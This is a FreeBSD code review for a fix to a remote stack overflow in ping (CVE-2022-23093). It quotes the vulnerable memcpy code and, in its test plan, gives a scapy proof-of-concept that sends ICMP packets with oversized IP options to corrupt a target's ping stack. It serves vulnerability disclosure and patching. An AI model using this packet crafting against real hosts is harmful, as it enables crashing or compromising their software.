Page MenuHomeFreeBSD

Remote stack corruption in ping (Embargoed)
ClosedPublic

Authored by thj on Oct 28 2022, 1:17 PM.
Tags
None
Referenced Files
Unknown Object (File)
Fri, Mar 22, 10:11 PM
Unknown Object (File)
Fri, Mar 22, 10:11 PM
Unknown Object (File)
Fri, Mar 22, 10:10 PM
Unknown Object (File)
Fri, Mar 22, 10:10 PM
Unknown Object (File)
Fri, Mar 8, 3:33 AM
Unknown Object (File)
Feb 12 2024, 2:34 AM
Unknown Object (File)
Jan 28 2024, 4:37 PM
Unknown Object (File)
Jan 28 2024, 4:37 PM

Details

Summary

Ping reads raw IP packets from the network to process responses in the
pr_pack function. As part of processing a response ping has to
reconstruct the IP header, the ICMP header and if present a 'quoted
packet', which represents the packet that generated an ICMP error. The
quoted packet again has an IP header and an ICMP header.

IP headers carry two fields that describe their length, the IP Header
Len (IHL) and the Total Packet len.

The IHL describes the length of the IP header and is packed into the
second nibble of the first byte of the packet. The first nibble contains
the IP version (4).

The IHL contains the number of 4 octet blocks the header takes up. It has
a minimum value of 5 (20 bytes) and a maximum value of 15 (60) bytes. If
the IHL is larger than 5, then IP options are expected following the
header and before any carried data.

Ping reads the IHL from received and quoted packets correctly, but fails
to do any verification on the received values. The IHL is then used to
perform a copy from a buffer into a struct ip.

This occurs from the outer packet in ping.c on line 1163:

/*
 * Get size of IP header of the received packet. The
 * information is contained in the lower four bits of the
 * first byte.
 */
memcpy(&l, buf, sizeof(l));
hlen = (l & 0x0f) << 2;
memcpy(&ip, buf, hlen);

and for the inner packet on line 1307:

memcpy(&oip_header_len, icmp_data_raw, sizeof(oip_header_len));
oip_header_len = (oip_header_len & 0x0f) << 2;
memcpy(&oip, icmp_data_raw, oip_header_len);
oicmp_raw = icmp_data_raw + oip_header_len;
memcpy(&oicmp, oicmp_raw, offsetof(struct icmp, icmp_id) +
    sizeof(oicmp.icmp_id));

struct ip is well defined and does not have space to carry any IP
options.

If an IP packet or a quoted packet carries any option data (or is
deliberately corrupted) an overflow will occur with the copies above.
There can be up to 40 bytes of options carried in an IP Packet.

Any host running ping that can be sent an ICMP packet with IP options
or a malformed IHL can trigger stack corruption in ping.

I have included a scapy script that can trigger an ASAN failure for both
of the above cases. The first is triggered by running the script with
the opts command the second with the pip command. To test this I left
ing running on a host to receive packets:

$ ping -i 60 192.168.1.12

$ sudo python3 ipopts.py opts 192.168.1.2      # host ping is running on
$ sudo python3 ipopts.py pip 192.168.1.2      # host ping is running on

My patch also includes a fix for this line:

memcpy(&oicmp, oicmp_raw, offsetof(struct icmp, icmp_id) +
    sizeof(oicmp.icmp_id));

I think it is trying to do a copy of ICMP_MINLEN data, but has picked
the wrong field and instead seems to be copying 6 bytes rather than 8.
My fix is to require an entire struct icmp worth of data in the quoted
packet which might not be be correct.

Test Plan
#!/usr/local/bin/python3

import sys
from scapy.all import send, IP, ICMP, IPOption


mode = sys.argv[1]
addr = sys.argv[2]
ip = None
opts = b''

# fill opts with nop (0x01)
for x in range(40):
    opts += b'\x01'

if mode == "opts":
    print("sending with ip options")
    #ip = IP(dst=addr, options=IPOption(opts))/ICMP()
    ip = IP(dst=addr, options=IPOption(opts))/ICMP(type=0, code=0)/b'\x00\x00\x00\x00'  # request
elif mode == "pip":
    print("packet in packet (inner has options)")
    # packet in packet

    inner = IP(dst=addr, options=IPOption(opts))/ICMP(type=0, code=0)/b'\x00\x00\x00\x00'  # echo request
    outer = IP(dst=addr)/ICMP(type=3, code=1)  #host unreach

    ip = outer/inner
elif mode == "noopts":
    print("sending an echo reply")
    ip = IP(dst=addr)/ICMP(type=0, code=0)/b'\x00\x00\x00\x00' # echo reply
else:
    print("unknown mode {}".format(mode))
    exit()


send(ip)

Diff Detail

Repository
rG FreeBSD src repository
Lint
Lint Passed
Unit
No Test Coverage
Build Status
Buildable 48118
Build 45005: arc lint + arc unit

Event Timeline

thj requested review of this revision.Oct 28 2022, 1:17 PM
thj created this revision.
thj created this object with visibility "Subscribers".
thj created this object with edit policy "Subscribers".

This LGTM. Did you also test ping6 for similar bugs? Also, I turned your PoC into ATF tests. See https://reviews.freebsd.org/D37210 .

This revision is now accepted and ready to land.Oct 29 2022, 10:07 PM
markj added inline comments.
sbin/ping/ping.c
1173
1192

Suppose cc == hlen + ICMP_MINLEN. ICMP_MINLEN is 8, which is equal to offsetof(struct icmp, icmp_ip). Further down, we peek into the inner IP header to get its length with memcpy(&oip_header_len, icmp_data_raw, sizeof(oip_header_len));. Isn't this an out-of-bounds access if the packet length is exactly hlen + 8?

1194

I think we should drop this ifdef, but that can happen as a follow-up commit.

1340
1348
thj retitled this revision from Remote stack corruption in ping (Embargoed) to Remote stack corruption in ping (Embargoed).
thj edited the summary of this revision. (Show Details)
  • Ensure there are enough bytes following the icmp header
This revision now requires review to proceed.Nov 2 2022, 10:49 AM
  • Remove asan from makefiles
sbin/ping/ping.c
1192

@markj could you please re-review? We're getting very close to 12.4-RELEASE.

Sorry for the delay. This looks ok to me with the comments resolved.

sbin/ping/ping.c
1162
1167

We're assuming here that cc > 0 but from reading the ping6 code (which handles this scenario), this might not be the case if we received only a control message. I'm not sure if that can arise in ping4, but I'd suggest adjusting the caller to check for this case.

1327

I think you need to cast the RHS to have type ssize_t. Right now it's size_t, which means that the LHS will be converted to an unsigned type. Oh, but that's ok since ICMP_MINLEN == offsetof(struct icmp, icmp_data) in practice, so icmp_data_raw_len can't be negative due to the check above.

Hmm, actually this doesn't compile due to the signed/unsigned comparison. So we should do the cast to ssize_t anyway.

1330

The compiler notes that oip_header_len can be uninitialized here.

thj marked 4 inline comments as done.Nov 14 2022, 4:13 PM
  • Address further comments from Mark
This revision is now accepted and ready to land.Nov 14 2022, 9:30 PM

@thj are we ready to commit?

secteam is planning to commit this patch together with the next release. Please don't commit this patch just yet.

This will be released today as FreeBSD-SA-22:15.ping and assigned CVE-2022-23093.

thj changed the visibility from "Subscribers" to "Public (No Login Required)".Dec 2 2022, 8:36 AM